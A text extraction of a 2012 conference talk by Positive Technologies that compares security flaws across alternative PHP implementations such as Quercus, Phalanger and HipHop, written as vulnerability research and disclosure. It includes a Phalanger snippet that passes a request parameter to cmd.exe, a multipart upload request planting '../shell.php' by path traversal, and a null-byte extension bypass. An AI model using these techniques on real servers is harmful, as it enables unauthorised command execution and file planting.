Upload
positive-hack-days
View
1.583
Download
1
Tags:
Embed Size (px)
Citation preview
Not all PHP implementations are equally useful
Sergey Scherbel
Positive Technologies
May 2012
Intro: PHP
one of the most popular script languages
is quickly improved
has an adaptable syntax
there are a number of various CMS and CMF on PHP
At the same time:
efficiency of PHP interpreter is not high
But efficiency is critical for a great number of projects...
A few words about PHP:
Intro: PHP
But you can create your own PHP!
Alternative PHP implementations
There are several alternative PHP implementations. As a rule, these
implementations compile PHP scripts into a machine-code form.
Lets consider the following implementations:
Roadsend PHP (PHP -> C -> machine code)
Phalanger (PHP -> Microsoft IL)
Quercus on Resin (PHP -> JVM)
PHC (PHP -> C -> machine code)
HipHop (PHP -> C++ -> machine code)
Roadsend PHP
Variants of run:
the executable + web server + FastCGI = web application
the executable + MicroServer = web application
Roadsend PHP compiler allows you to create
executable files. It also includes embedded
MicroServer web server.
Phalanger
Phalanger is a PHP compiler for .NET.
supports full compatibility with .NET
is compatible with a great number of PHP applications
allows users to address .NET classes
Quercus on Resin
Resin is a web server and Java application server designed by Caucho Technology.
The web server includes a special PHP implementation named Quercus.
The web server is released in 2 versions:
Professional: PHP is compiled into Java byte code
Open Source: PHP is executed by the interpreter
HipHop
HipHop is a source code translator designed by Facebook.
Features:
PHP is translated into a temporary C++ code
The temporary code is compiled via g++
The result includes the web server
./program -m server --port 8080
There is also HPHPi that is a PHP interpreter that allows script
execution without compilation.
HipHop
So, the size of an elementary PHP
script after compilation is ~ 30 MB!
Files that are the result
of compilation
HipHop
You can eliminate several types of vulnerabilities in case an application is compiled but not interpret!
Local File Inclusion:
There is no way to connect arbitrary files
You can connect only the scripts that were included while compilation
Arbitrary File Loading:
PHP script loading does not result in desired effect – the script may not be run
Possible exploitation – load a HTML page and then attack clients
What are the key items?
Environment vulnerabilities (embedded web server, etc.)
Parameter Handling
HTTP Parameter Pollution
HTTP Parameter Contamination
Cross-technology vulnerabilities (PHP + .NET = ???)
Vulnerabilities in PHP old versions (a legendary ones )
Environment vulnerabilities
Roadsend PHP MicroServer: Path Traversal
Embedded web server incorrectly handles file names.
Roadsend PHP MicroServer: Path Traversal
This is also possible
Parameter Handling
HTTP Parameter Pollution
HTTP Parameter Contamination$_GET
$_POST
$_COOKIE?a=1&a=2
= array();
%00
HTTP Parameter Contamination
Various platforms and applications handle incorrect characters in parameters in different ways.
The attack is used to bypass various filters (WAF).
We compare:
usual LAMP (a master platform)
Win7 + IIS 7.5 + Phalanger 3.0
Linux + HipHop
Linux + Quercus on Resin (different versions)
HTTP Parameter Contamination
Request LAMPQuercus on Resin
3.1.12Quercus on Resin
4.0.26
test.php?a&b=1
Array( [a] => [b] => 1)
Array( [a&b] => 1)
Array( [a] => [b] => 1)
test.php?a=1&b
Array( [a] => 1 [b] => )
Array( [a] => 1 [b] => )
Array( [a] => 1 [b] => )
We immediately find differences with LAMP platform!
HTTP Parameter Contamination
Request LAMPIIS 7.5 +
Phalanger 3.0HipHop
Quercus on Resin <=
4.0.26
test.php?=Array()
Array( [] => )
Array()
Array( [] => )
test.php?[]=Array()
Array( [[]] => )
Array()
Array( [0] => )
test.php?a[][=
Array( [a] => Array ( [0] => ) )
Error 500
Array( [a] => Array ( [0] => ) )
Error 500
HTTP Parameter Contamination
Error 500 in IIS 7.5 + Phalanger 3.0
HTTP Parameter Contamination
Error 500 in Quercus on Resin
HTTP Parameter Contamination
Query LAMPIIS 7.5 +
Phalanger 3.0HipHop
Quercus on Resin 4.0.26
test.php?a%=1
Array( [a%] => 1)
Array( [a%] => 1)
Array( [a%] => 1)
Array( [a�] => )
test.php?a =1
Array( [a_] => 1)
Array( [a ] => 1)
Array( [a_] => 1)
Array( [a ] => 1)
test.php?a.=1
Array( [a_] => 1)
Array( [a_] => 1)
Array( [a_] => 1)
Array( [a_] => 1)
test.php?a%00b=1
Array( [a] => 1)
Array( [a�b] => 1)
Array( [a] => 1)
Array( [a�b] => 1)
Only HipHop results coincide with the master platform.
Special practices for OS Windows
File functions in Phalanger incorrectly handle characters reserved for OS («:» +
another special character, i.e.: «|»).
Global variables
The possibility to set variable values directly is a flaw in web application security.
<?php
include($path. ".inc");
?>
You can call the script directly and define an arbitrary value that results in code execution (RFI, LFI).
register_globals option is responsible for a possibility to set variable
values directly
PHP 5.4.0 does not include register_globals option.
Global variables <= Quercus on Resin 4.0.26
Quercus does not include register_globals option (developers name it a ‘black hole’ in security), an error occurs in case you try to set it.
In case parameters are sent via POST method, they become global!
Global variables <= Quercus on Resin 4.0.26
Rewriting of variables <= Quercus on Resin 4.0.26
Parameters sent in POST method, are handled incorrectly – it is possible to rewrite variables in _SERVER array!
Rewriting of variables <= Quercus on Resin 4.0.26
Attack vector is rewriting of _SERVER array elements that include the
script absolute path.
As a rule, _SERVER array elements are used in script connection and
file system functions.
Rewriting of variables allows an attacker to conduct a number of
attacks, i.e. Local File Inclusion.
<?php
include($_SERVER["DOCUMENT_ROOT"]."header.php");
?>
Rewriting of variables <= Quercus on Resin 4.0.26
Rewriting of variables allows you to set an arbitrary value for $_SERVER["DOCUMENT_ROOT"].
Loose comparison of variables of various types
Loose comparison is a comparison with ==
Loose comparison of parameters in PHP is implemented with several features:
Loose comparison of variables of various types
A great number of PHP applications consider these features.
In case the behavior changes, results are not predictable…
We monitor if the features are actual…
and find some curious things
Loose comparison of variables of various types
Script #1:
<?php
$xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", "");
foreach($xArray as $x) {
if($x == array()) { echo("TRUE"); } else { echo("FALSE"); }
echo("<br>");
}
?>
Script #2:
<?php
$xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", "");
foreach($xArray as $x) {
if(array() == $x) { echo("TRUE"); } else { echo("FALSE"); }
echo("<br>");
}
?>
== equals | Quercus on Resin
Script #1 (resin 3.1.12) Script #1 (resin 4.0.26) Script #2
TRUE FALSE FALSE TRUE
FALSE TRUE TRUE TRUE
1 FALSE TRUE TRUE
0 TRUE TRUE TRUE
-1 FALSE TRUE TRUE
"1" FALSE FALSE TRUE
"0" FALSE FALSE TRUE
"-1" FALSE FALSE TRUE
NULL TRUE TRUE TRUE
array() TRUE TRUE TRUE
"php" FALSE FLASE TRUE
"" FALSE FLASE TRUE
It is clear that the result of comparison depends on the sequence of compared variables. This behavior is not usual for an ordinary PHP interpreter.
Also, the result of all comparisons of array() and 0 is true (TRUE), this is not usual for an ordinary PHP interpreter.
== equals | Quercus on Resin
Then, we carried out the detailed analysis of loose comparisons for arrays with variables of different types:
<?php
$test = …
$xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", "");
foreach($xArray as $x) {
if($test == $x) { echo("TRUE"); } else { echo("FALSE"); }
echo("<br>");
}
?>
In case an empty array is sent:
http://192.168.67.139:8080/test.php?test[]=
, its type is defined as array(1) { [0]=> string(0) "" } – and this is a usual behavior for PHP. The comparison results for this type of parameters with parameters of other types are the most interesting.
== equals | Quercus on Resin
$test = array() $test = array(0 => "")
$x = TRUE TRUE TRUE
$x = FALSE TRUE TRUE
$x = 1 TRUE TRUE
$x = 0 TRUE TRUE
$x = -1 TRUE TRUE
$x = "1" TRUE FALSE
$x = "0" TRUE FALSE
$x = "-1" TRUE FALSE
$x = NULL TRUE TRUE
$x = array() TRUE TRUE
$x = "php" TRUE FALSE
$x = "" TRUE TRUE
The results greatly differ from the expected ones.
Script behavior is not predictable, a number of vulnerabilities can occur!
Cross-technology vulnerabilities
open_basedir/safe mode bypass | Phalanger 3.0
Phalanger allows you to access .NET classes, that can lead to security
restriction bypass.
Defined security restrictions (i.e., disable_functions) are usually not
considered in .NET constructions:
<?php
$process = new Diagnostics\Process();
$process->StartInfo->FileName = "cmd.exe";
$process->StartInfo->WorkingDirectory = "C:\\";
$process->StartInfo->Arguments = "/c ".$_GET["cmd"];
$process->Start();
$process->WaitForExit();
?>
Vulnerabilities in PHP old versions
Legendary vulnerabilities...
XSS in Error Message | Quercus on Resin | Roadsend
Special characters are not replaced by HTML equivalents in error messages that means the an error message is an XSS.
File Loading: Path Traversal | Quercus on Resin 3.1.12
There is possible exploitation of Path Traversal because of incorrect handling of loaded file name.
Example of HTTP query:
POST http://192.168.67.139:8080/test/file.php HTTP/1.1
…
Content-Type: multipart/form-data; boundary=---------------------------101412320927450
Content-Length: 228
-----------------------------101412320927450\r\n
Content-Disposition: form-data; name="test"; filename="../shell.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\r\n
phpinfo();\r\n
?>\r\n
-----------------------------101412320927450--\r\n
File Loading: Null Byte | Quercus on Resin
Incorrect file name handling that is loaded on the server an attacker can discard postfixes (i.e., .jpg) with NULL byte.
File Loading: Null Byte | Quercus on Resin
As a result, Extension Checks Bypass is possible.
<?php
if(isset($_FILES["image"])) {
if(!preg_match("#\.(jpg|png|gif)$#", $_FILES["image"]["name"])) {
die("Hacking attempt!");}
copy($_FILES["image"]["tmp_name"],
"./uploads/".$_FILES["image"]["name"]
);
}
?>
Results
All third-party implementations are more efficient, have more features, but the back side is security.
Environmental vulnerabilities
HTTP Parameter Contamination
Path Traversal
logic violations
etc
The most vulnerable implementation is Quercus on Resin.
The most secure implementation is HipHop. Its results not only coincide with the master platform but even exceed standard PHP implementation.
Thank you for your attention!
Questions?